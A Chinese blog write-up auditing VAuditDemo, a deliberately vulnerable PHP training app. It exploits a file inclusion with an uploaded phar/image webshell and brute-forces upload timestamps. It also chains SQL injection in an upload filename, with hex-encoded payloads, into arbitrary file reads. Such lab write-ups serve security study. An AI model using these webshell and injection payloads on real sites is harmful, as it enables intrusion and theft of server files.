当前位置: 首页 > news >正文

VAuditDemo文件漏洞

目录

VAuditDemo文件漏洞

一、首页文件包含漏洞

包含图片马

利用伪协议phar:// 构造shell.inc被压缩为shell.zip,然后更改shell.zip 为 shell.jpg上传

二、任意文件读取漏洞

avatar.php

updateAvatar.php

logCheck.php

任意文件读取漏洞利用


VAuditDemo文件漏洞

一、首页文件包含漏洞

index.php 中 虽然包含了 lib.php 这个安全能力比较nb的文件,但是,其中并没有对文件有什么重要的措施,仅仅只是对文件后缀名的白名单而已,而且 index.php 文件并没有使用 is_pic 这个函数。

但是 index.php 文件却对所包含的文件添加了一个后缀叫 .inc 这样使得很多文件包含再次都会失效,因为浏览器时无法解析 .inc 文件的。

包含图片马

可是,作为攻击者,并不一定需要浏览器解析,而是只要有所包含的文件的内容即可,所以,此漏洞,结合头像上传图片马,再利用该漏洞包含图片马,即使后缀被添加 .inc 只要包含到图片马中的内容即可利用

唯一需要注意的是,图片名称需要爆破得到,作为攻击者,在请求响应中是看不到上传的头像的名称的

 //index.php 文件重要内容如下<?php require_once('sys/config.php');require_once('header.php');?>​<?php/* Include */if (isset($_GET['module'])){include($_GET['module'].'.inc');}else{?>​//lib.php 部分内容如下function is_pic( $file_name ) {$extend =explode( "." , $file_name );$va=count( $extend )-1;if ( $extend[$va]=='jpg' || $extend[$va]=='jpeg' || $extend[$va]=='png' ) {return 1;}elsereturn 0;}

image-20240819184438843

而且,既然有了这个想法,我们是不是还可以在图片马中添加 hook.js ,一旦这个可以添加进去被包含,那就真赚大了

利用伪协议phar:// 构造shell.inc被压缩为shell.zip,然后更改shell.zip 为 shell.jpg上传

  • 构造 shell.inc 内容为 <?php @eval($_POST['a']);?>

  • shell.inc 添加到 shell.zip ,然后修改后缀zip为jpg

  • 上传,测试环境直接找到文件名

  • 访问,由于 .inc 程序里已经设定好了,所以访问时就不需要再添加 .inc 了

image-20240819191415497

此时就可以使用菜刀链接,菜刀链接上了之后就可以再上传冰蝎马,再用冰蝎链接,更为保妥。

令人深思的是,如果单纯作为攻击者,纯黑盒,又该怎样获取上传的文件名呢,事实上是这样的

在攻击者上传后门时,通过抓包可以看到

image-20240819191926806

此时,既把后门上传了,又能看到上传的时间,此时爆破时间戳,由于此时的时间设定是 GMT:格林威治标准时间

image-20240819192216090

我们可以看到,左边是 GMT 时间,右边是中国时间,相差整整八小时,所以通过抓包得到的响应中的时间,再加八小时得到的时间,大约就是图片上传到服务器的时间,再利用 date +%s 就可以得到服务器的 unix元年时间戳

image-20240819192540677

然后上下十秒左右的时间范围内,构造出时间戳字典,用来爆破

如果,服务器时间不准确,与中国时间不符,可使用 ntpdate ntp.aliyun.com 命令来同步服务器时间与阿里云的时间服务器的时间

二、任意文件读取漏洞

我们之前已经讨论过头像文件上传这个问题了,但由于没有具体分析,所以没有意识到问题的严重性,这里一共涉及到三个文件 avatar.php updateAvatar.php logCheck.php

avatar.php

 <?phperror_reporting(0);session_start();header("Content-type:image/jpeg");echo file_get_contents($_SESSION['avatar']);?> 

我们可以看到,该文件将会输出$_SESSION['avatar']变量中所存储的文件内容,通过全局搜索,发现接下来两个文件有重大嫌疑

updateAvatar.php

 <?phpinclude_once('../sys/config.php');$uploaddir = '../uploads';​if (isset($_POST['submit']) && isset($_FILES['upfile'])) {​if(is_pic($_FILES['upfile']['name'])){​$avatar = $uploaddir . '/u_'. time(). '_' . $_FILES['upfile']['name'];// die($avatar);​if (move_uploaded_file($_FILES['upfile']['tmp_name'], $avatar)) {//更新用户信息$query = "UPDATE users SET user_avatar = '$avatar' WHERE user_id = '{$_SESSION['user_id']}'";mysql_query($query, $conn) or die('update error!');mysql_close($conn);//刷新缓存$_SESSION['avatar'] = $avatar;header('Location: edit.php');}else {echo 'upload error<br />';echo '<a href="edit.php">返回</a>';}}else{echo '只能上傳 jpg png gif!<br />';echo '<a href="edit.php">返回</a>';}}else {not_find($_SERVER['PHP_SELF']);}?>​

通过分析发现 $avatar 变量经过拼接之后,就可以对数据库进行操作,更新到数据库中,然后更改当前用户的 $_SESSION['avatar']$avatar ,说明,可以通过 $avatar 变量来操作数据库

logCheck.php

 <?phpinclude_once('../sys/config.php');​if (isset($_POST['submit']) && !empty($_POST['user']) && !empty($_POST['pass'])) {$clean_name = clean_input($_POST['user']);$clean_pass = clean_input($_POST['pass']);$query = "SELECT * FROM users WHERE user_name = '$clean_name' AND user_pass = SHA('$clean_pass')";$data = mysql_query($query, $conn) or die('Error!!');​if (mysql_num_rows($data) == 1) {$row = mysql_fetch_array($data);$_SESSION['username'] = $row['user_name'];$_SESSION['avatar'] = $row['user_avatar'];$ip = sqlwaf(get_client_ip());$query = "UPDATE users SET login_ip = '$ip' WHERE user_id = '$row[user_id]'";mysql_query($query, $conn) or die("updata error!");header('Location: user.php');}else {$_SESSION['error_info'] = '用户名或密码错误';header('Location: login.php');}mysql_close($conn);}else {not_find($_SERVER['PHP_SELF']);}?>

通过分析发现,一旦用户登录成功就会修改该用户的 $_SESSION['avatar'] 变量的值为 $row['user_avatar'] ,而这个值的内容是正式从数据库中查询出来的。所以,最重要的 步骤就是 updateAvatar.php 文件的功能,他是可以直接操作数据库的。

综上所述,一旦通过 $avatar 变量成功操作数据库之后将文件名赋值给 $_SESSION['avatar'] ,此时仅仅只是这个值被修改,对应用户的SESSION变量需要重新登陆才会刷新,所以攻击者再重新登陆一次 $_SESSION['avatar'] 变量的值就会被修改为上传的恶意文件的文件名。此时再通过 avatar.php 文件数据对应的文件内容就可以实现漏洞利用

 $avatar = $uploaddir . '/u_'. time(). '_' . $_FILES['upfile']['name'];​$query = "UPDATE users SET user_avatar = '$avatar' WHERE user_id = '{$_SESSION['user_id']}'";​UPDATE users SET user_avatar = '$avatar' WHERE user_id = '{$_SESSION['user_id']}'​UPDATE users SET user_avatar = 'index.jpg' WHERE user_id = '10'UPDATE users SET user_avatar = 'index.php' where user_name='wwww'#.jpg' WHERE user_id = '10'​#加上程序所添加的前缀../uploads/u_12345678_UPDATE users SET user_avatar = '../uploads/u_12345678_index.php' where user_name='wwww'#.jpg' WHERE user_id = '10'​UPDATE users SET user_avatar = '../uploads/u_12345678_index.php',user_avatar='index.php' where user_name='wwww'#.jpg' WHERE user_id = '10'#或者UPDATE users SET user_avatar = '../uploads/u_12345678_',user_avatar = 'index.php' where user_name='wwww'#.jpg' WHERE user_id = '10'​#最终删掉程序添加的前缀UPDATE users SET user_avatar = 'index.php',user_avatar='index.php' where user_name='wwww'#.jpg' WHERE user_id = '10'#或UPDATE users SET user_avatar = '',user_avatar = 'index.php' where user_name='wwww'#.jpg' WHERE user_id = '10'​#得到最终的payloadindex.php',user_avatar='index.php' where user_name='wwww'#.jpg#或',user_avatar = 'index.php' where user_name='wwww'#.jpg​#并且这样构造还可以让任意用户的头像都变成我们所上传的文件,只需要将payload中的where user_name='wwww'修改为 where user_id='3' 修改数字即可

image-20240819225513479

最终,二者payload全部获胜

然后,比如攻击者想读取默认首页的后台页面 index.php ,所以攻击者需要确定好目录,我们作为测试人员可以知道 对于 updateAvatar.php 文件来说 index.php 在他的上一级目录下,所以还需要加上 ../ 才可以,于是最终的payload为

 index.php',user_avatar='../index.php' where user_name='wwww'#.jpg#或',user_avatar = '../index.php' where user_name='wwww'#.jpg

现在我们拿着payload去注入测试

任意文件读取漏洞利用

  • 访问上传文件页面,上传文件并抓包,修改文件名为payload

    image-20240819231321449

  • 发现请求只能发一段,响应也只有一段,拿到navicat中去测试发现两个payload都是正确执行的,这是为什么?不信了我还,使用不带 ../ 的payload再用burp注入试试

    使用 shell.php',user_avatar='index.php' where user_name='wwww'#.jpg ,此时就有三段请求需要发送,说明此时才算注入成功,但为什么带上 ../ 就无法注入了呢

    从上面我们可以得知 ../ 无法在payload 中使用,估计是被编码或者是被怎么处理了,遇到这种情况,我们千万不要忘了SQL语句中是可以执行十六进制代码的,并且十六进制代码完全可以充当字符串(也就是使用十六进制代码时就可以不需要引号包裹了),所以我们将 所要查看的目录 转换为十六进制然后加上 0x 构成新的payload,再在burp中发送

    image-20240819232846937

  • 最终的payload

     index.php',user_avatar=0x2E2E2F696E6465782E706870 where user_name='wwww'#.jpg#或',user_avatar = 0x2E2E2F696E6465782E706870 where user_name='wwww'#.jpg
  • burp抓包发送

    image-20240819233045964

    此时一共可以发送三段请求,说明请求成功,并且数据库中也发现文件名修改成功

    image-20240819233204610

  • 访问 avatar.php 抓包,看响应

    image-20240819233417738

    响应竟然是这么个玩意,这不是我上传的文件中的内容嘛,原因是什么,是因为攻击者还没有重新登陆,SESSION变量确实被修改了,但是我这个用户还没有重新登陆,使用的SESSION还是旧的SESSION,需要重新登陆才可以使用新的SESSION,所以,重新登录,再访问(虽说最后的SESSION还是一样的,但是我们可以理解为,后台服务器修改了代码,前端没有强制刷新缓存导致加载新资源失败,这里的退出登录就是类似于刷新缓存)

  • 终于,访问默认首页后端代码成功

    image-20240819233909385

  • 基于此再尝试一下另一个payload ',user_avatar = '../index.php' where user_name='wwww'#.jpg 为了验证,我打算修改目录为 ../admin/index.php

    image-20240819234445748

    所以payload为 ',user_avatar = 0x2E2E2F61646D696E2F696E6465782E706870 where user_name='wwww'#.jpg

    image-20240819234638723

    哦耶,成功发送三段请求,数据库也成功被修改了

    image-20240819234752450

    退出,重新登陆,去抓包访问 avatar.php,成功读取到admin/index.php,一模一样

    image-20240819234928809

image-20240819234957322

 

任意文件包含漏洞分析链

  • 搜索敏感函数,找到 file_get_contents 读取文件的函数

  • 根据 file_get_contents 函数,查看其中参数发现是 $_SESSION['avatar'] ,查看该参数是否可控

  • 搜索该参数,到底是谁给该参数在赋值,发现存在于两个文件,分别是 updateAvatar.php 和 logCheck.php

  • 按照系统功能,得先登录才可使用修改头像的功能,所以先考虑 logCheck.php 文件中的。$_SESSION['avatar'] = $row['user_avatar'];$row 有来自于数据库中的字段内容

     $query = "SELECT * FROM users WHERE user_name = '$clean_name' AND user_pass = SHA('$clean_pass')";$data = mysql_query($query, $conn) or die('Error!!');$row = mysql_fetch_array($data);
  • 所以分析updateAvatar.php,其中通过 $_SESSION['avatar'] = $avatar;$avatar = $uploaddir . '/u_'. time(). '_' . $_FILES['upfile']['name']; 所以上传文件最终确定可控点为 $avatar

  • 继续思考和尝试,确认可控点是否可以进一步利用。比如是否可以随意拼接,有没有进行过滤等。比如虽然这些页面最终都有包含 lib.php 但是 lib.php 文件并没有对 $_FILES 进行过滤。

任意文件包含漏洞调用链

 文件上传   ->   文件名作为数据库 UPDATE SQL 语句的一部分,精心构造payload,绕过UPDATE语句   ->   将目标文件名或目录插入数据库后,用户登录即可将文件名或目录赋值给$_SESSION['avatar']   ->   avatar.php 页面读取文件时,file_get_contents 函数的参数就是 $_SESSION['avatar']

相关文章:

VAuditDemo文件漏洞

目录 VAuditDemo文件漏洞 一、首页文件包含漏洞 包含图片马 利用伪协议phar:// 构造shell.inc被压缩为shell.zip&#xff0c;然后更改shell.zip 为 shell.jpg上传 二、任意文件读取漏洞 avatar.php updateAvatar.php logCheck.php 任意文件读取漏洞利用 VAuditDemo文件…...

[Meachines] [Medium] poison LFI+日志投毒+VNC权限提升

信息收集 IP AddressOpening Ports10.10.10.84TCP:22,80 $ nmap -p- 10.10.10.84 --min-rate 1000 -sC -sV 22/tcp open ssh OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0) | ssh-hostkey: | 2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA) | 256 …...

EtherCAT运动控制器上位机开发之Python+Qt(三):PDO配置与SDO读写

ZMC408CE控制器硬件介绍 ZMC408CE是正运动推出的一款多轴高性能EtherCAT总线运动控制器&#xff0c;具有EtherCAT、EtherNET、RS232、CAN和U盘等通讯接口&#xff0c;ZMC系列运动控制器可应用于各种需要脱机或联机运行的场合。 ZMC408CE支持8轴运动控制&#xff0c;最多可扩展…...

MyBatis源码系列1(使用JDBC查询数据)

使用原生jdbc进行查询数据步骤. 1、加载驱动2、获取数据库连接3、创建Statement对象4、占位符赋值5、执行脚本6、解析结果7、关闭资源 代码示例 public class T0 {public static void main(String[] args) throws Exception {String sql "SELECT id,name FROM goods WH…...

【微服务】Nacos配置中心和客户端数据同步模式

一、Nacos概述 Nacos是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。它提供了一组简单易用的特性集&#xff0c;帮助用户快速实现动态服务发现、服务配置、服务元数据及流量管理。 二、数据同步模式 1. 实时同步 Push模式&#xff1a;在服务端的配置信…...

WebRTC音视频开发读书笔记(六)

数据通道不仅可以发送文本消息, 还可以发送图片、二进制文件,将其类型binaryType属性设置成arraybuffer类型即可. 九\、文件传输 1、文件传输流程 &#xff08;1&#xff09;使用表单file打开本地文件 &#xff08;2&#xff09;使用FileReader读取文件的二进制数据 &#…...

高级列表组件ReList

高级列表组件ReList 组件实现基于 Vue3 Element Plus Typescript&#xff0c;同时引用 vueUse lodash-es tailwindCss (不影响功能&#xff0c;可忽略) 主要基于JSX风格实现高度动态的列表渲染组件&#xff0c;可以通过信息配置Metas配置控制信息项展示&#xff0c;同时支持…...

Vxe UI vue vxe-table 实现表格数据分组功能,根据字段数据分组

Vxe UI vue vxe-table 实现表格数据分组功能&#xff0c;根据字段数据分组 实现数据分组功能 基于树结构功能就可以直接实现数据分组功能&#xff0c;代码如下&#xff1a; <template><div><vxe-button status"primary" click"listToGroup()&…...

oracle创建账户

1、查看表空间 SELECT tablespace_name FROM user_tablespaces;2、创建用户 CREATE USER FLINKCDC2 IDENTIFIED BY "123456";也可以使用指定表空间的方式 CREATE USER FLINKCDC2 IDENTIFIED BY "123456" DEFAULT TABLESPACE LOGMINER_TBS QUOTA UNLIMIT…...

2024新型数字政府综合解决方案(五)

新型数字政府综合解决方案通过集成人工智能、大数据、区块链和云计算技术&#xff0c;打造了一个智能化、透明化和高效的政务服务平台&#xff0c;旨在提升政府服务的响应速度、处理效率和数据安全性。该方案实现了跨部门的数据共享与实时更新&#xff0c;通过智能化的流程自动…...

datawind可视化查询-其他函数

飞书文档学习链接:https://www.volcengine.com/docs/4726/47275 1. 用户名函数 用户名函数并非 ClickHouse 官方函数,而是与项目用户信息相结合,用于返回当前使用用户的指定信息的函数。 USERNAME()可返回当前用户的用户名,如下所示。该函数也可与其他函数组合使用 2. J…...

数据库MySQL之事务、索引

目录 1.概述 2.事务 3.索引 3.1索引结构 3.2操作语法 1.概述 场景&#xff1a;假如我们需要解散教学部&#xff0c;那么该部门下的所有员工都需要删除。如果教学部成功删除了&#xff0c;但员工出于某些原因(比如SQL语句写错了等)并没有删除&#xff0c;此时就会出现数据…...

AI学习记录 - transformers的decoder和encoder中的自注意力矩阵和掩码矩阵的数据处理

掩码掩码&#xff0c;指的是掩盖住后面的词汇的词向量对我当前词汇造成影响。把PAD字符设置成负无穷大&#xff0c;概念上不叫掩码&#xff0c;只是计算方式和掩码一样。 怎么生成掩码&#xff0c;在非掩码注意力矩阵中&#xff0c;把PAD词向量每个维度设置成负无穷大&#xf…...

【Solidity】代币

ERC20 ERC-20 全称 “Ethereum Request for Comment 20”&#xff0c;是一种标准接口&#xff0c;用于实现代币合约。ERC20 标准定义了一组函数和事件&#xff0c;使得代币可以在不同的应用和平台之间互操作。 ERC20 标准接口定义了一组必须实现的函数和事件&#xff1a; in…...

5 - Linux YUM仓库及NFS共享服务

目录 一、YUM概述 1.YUM简介 2.软件仓库的提供方式 3.RPM软件包的来源 4. yum 命令的运用 二、搭建ftp YUM仓库 三、NFS共享服务 1.NFS简述 2.模拟NFS 一、YUM概述 1.YUM简介 YUM&#xff08;Yellow dog Updater Modified&#xff09;是一个专门为了解决包的依赖关系…...

上传文件,文件类型限制语法,各种媒体视频文件的Content-Type

各种媒体视频文件的Content-Type “application/x-apple-diskimage”: “DMG”, “application/epubzip”: “EPUB”, “application/java-archive”: “JAR”, “video/x-matroska”: “MKV”, “text/html”: “HTML|HTM”, “text/css”: “CSS”, “text/javascript…...

类和对象(下)(2)

类和对象&#xff08;下&#xff09;(2) static成员 • ⽤static修饰的成员变量&#xff0c;称之为静态成员变量&#xff0c;静态成员变量⼀定要在类外进⾏初始化。 • 静态成员变量为当前类的所有对象所共享&#xff0c;不属于某个具体的对象&#xff0c;不存在对象中&#…...

软件测试 - 自动化测试(概念)(Java)(自动化测试分类、web自动化测试、驱动、selenium自动化测试工具的安装)

一、自动化的概念 ⾃动洒⽔机&#xff0c;主要通上⽔就可以⾃动化洒⽔并且可以⾃动的旋转。 ⾃动洗⼿液&#xff0c;免去了⼿动挤压可以⾃动感应出洗⼿液 超市⾃动闸⻔&#xff0c;不需要⼿动的开⻔关⻔ ⽣活中的⾃动化案例有效的减少了⼈⼒的消耗&#xff0c;同时也提⾼了⽣…...

wpf datagrid 实现双向绑定

前台 <DataGridAutoGenerateColumns"False"Background"White"CanUserAddRows"True"Grid.Row"1"RowEditEnding"DataGrid_OnRowEditEnding"RowHeight"60"SelectionUnit"CellOrRowHeader"x:Name"…...

使用循环在el-select下拉框中循环出-3至50

问: 使用循环在el-select下拉框中循环出-3至50 回答: <el-form-itemprop"adPosition"label"广告位置":rules"{required: true, message: 广告位置不能为空, trigger: change}" ><el-select v-model"addDataForm.adPosition"…...

【Oracle APEX开发小技巧12】

有如下需求&#xff1a; 有一个问题反馈页面&#xff0c;要实现在apex页面展示能直观看到反馈时间超过7天未处理的数据&#xff0c;方便管理员及时处理反馈。 我的方法&#xff1a;直接将逻辑写在SQL中&#xff0c;这样可以直接在页面展示 完整代码&#xff1a; SELECTSF.FE…...

关于nvm与node.js

1 安装nvm 安装过程中手动修改 nvm的安装路径&#xff0c; 以及修改 通过nvm安装node后正在使用的node的存放目录【这句话可能难以理解&#xff0c;但接着往下看你就了然了】 2 修改nvm中settings.txt文件配置 nvm安装成功后&#xff0c;通常在该文件中会出现以下配置&…...

渗透实战PortSwigger靶场-XSS Lab 14:大多数标签和属性被阻止

<script>标签被拦截 我们需要把全部可用的 tag 和 event 进行暴力破解 XSS cheat sheet&#xff1a; https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 通过爆破发现body可以用 再把全部 events 放进去爆破 这些 event 全部可用 <body onres…...

从深圳崛起的“机器之眼”:赴港乐动机器人的万亿赛道赶考路

进入2025年以来&#xff0c;尽管围绕人形机器人、具身智能等机器人赛道的质疑声不断&#xff0c;但全球市场热度依然高涨&#xff0c;入局者持续增加。 以国内市场为例&#xff0c;天眼查专业版数据显示&#xff0c;截至5月底&#xff0c;我国现存在业、存续状态的机器人相关企…...

WEB3全栈开发——面试专业技能点P2智能合约开发(Solidity)

一、Solidity合约开发 下面是 Solidity 合约开发 的概念、代码示例及讲解&#xff0c;适合用作学习或写简历项目背景说明。 &#x1f9e0; 一、概念简介&#xff1a;Solidity 合约开发 Solidity 是一种专门为 以太坊&#xff08;Ethereum&#xff09;平台编写智能合约的高级编…...

力扣-35.搜索插入位置

题目描述 给定一个排序数组和一个目标值&#xff0c;在数组中找到目标值&#xff0c;并返回其索引。如果目标值不存在于数组中&#xff0c;返回它将会被按顺序插入的位置。 请必须使用时间复杂度为 O(log n) 的算法。 class Solution {public int searchInsert(int[] nums, …...

宇树科技,改名了!

提到国内具身智能和机器人领域的代表企业&#xff0c;那宇树科技&#xff08;Unitree&#xff09;必须名列其榜。 最近&#xff0c;宇树科技的一项新变动消息在业界引发了不少关注和讨论&#xff0c;即&#xff1a; 宇树向其合作伙伴发布了一封公司名称变更函称&#xff0c;因…...

ThreadLocal 源码

ThreadLocal 源码 此类提供线程局部变量。这些变量不同于它们的普通对应物&#xff0c;因为每个访问一个线程局部变量的线程&#xff08;通过其 get 或 set 方法&#xff09;都有自己独立初始化的变量副本。ThreadLocal 实例通常是类中的私有静态字段&#xff0c;这些类希望将…...

【技巧】dify前端源代码修改第一弹-增加tab页

回到目录 【技巧】dify前端源代码修改第一弹-增加tab页 尝试修改dify的前端源代码&#xff0c;在知识库增加一个tab页"HELLO WORLD"&#xff0c;完成后的效果如下 [gif01] 1. 前端代码进入调试模式 参考 【部署】win10的wsl环境下启动dify的web前端服务 启动调试…...

Java设计模式:责任链模式

一、什么是责任链模式&#xff1f; 责任链模式&#xff08;Chain of Responsibility Pattern&#xff09; 是一种 行为型设计模式&#xff0c;它通过将请求沿着一条处理链传递&#xff0c;直到某个对象处理它为止。这种模式的核心思想是 解耦请求的发送者和接收者&#xff0c;…...